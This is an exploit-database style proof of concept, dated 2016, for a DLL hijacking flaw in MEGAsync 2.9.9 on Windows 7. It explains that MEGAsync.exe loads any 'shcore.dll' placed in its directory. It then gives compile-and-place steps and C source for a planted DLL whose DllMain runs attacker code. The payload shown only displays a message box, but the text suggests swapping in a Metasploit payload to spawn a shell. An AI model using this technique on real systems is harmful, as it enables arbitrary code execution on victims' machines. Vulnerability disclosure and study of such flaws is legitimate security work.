# Exploit Title: MEGAsync DLL Hijacking Exploit (shcore.dll)
# Date: 27-8-2016
# Author: Amir.ght
# Vendor Homepage: https://mega.nz
# Software Link:
https://mega.nz/MEGAsyncSetup.exe
# Version: 2.9.9
# Tested on:Windows 7
----------------------------------------------------------------------------------------------------------
Vuln DLL: shcore.dll

MEGAsync.exe will search for an load any DLL named "shcore.dll".
If an attacker can place the DLL in a location
where victim open MEGAsync.exe it will load and run the attackers DLL
and code.
also can generate a msfpayload DLL and spawn a shell, for example.

----------------------------------------------------------------------------------------------------------
# Exploit: 
 1- Save and compile below C code as 'shcore.dll' to create vuln DLL

 2- Place 'shcore.dll' on Same Directory of MEGAsync

 3- Open MEGAsync.exe :DLL
 
//gcc test.c -o shcore.dll -shared
//this dll show a message box 
#include <windows.h>
#define DllExport __declspec (dllexport)
 
BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}
 
int dll_hijack()
{
  MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}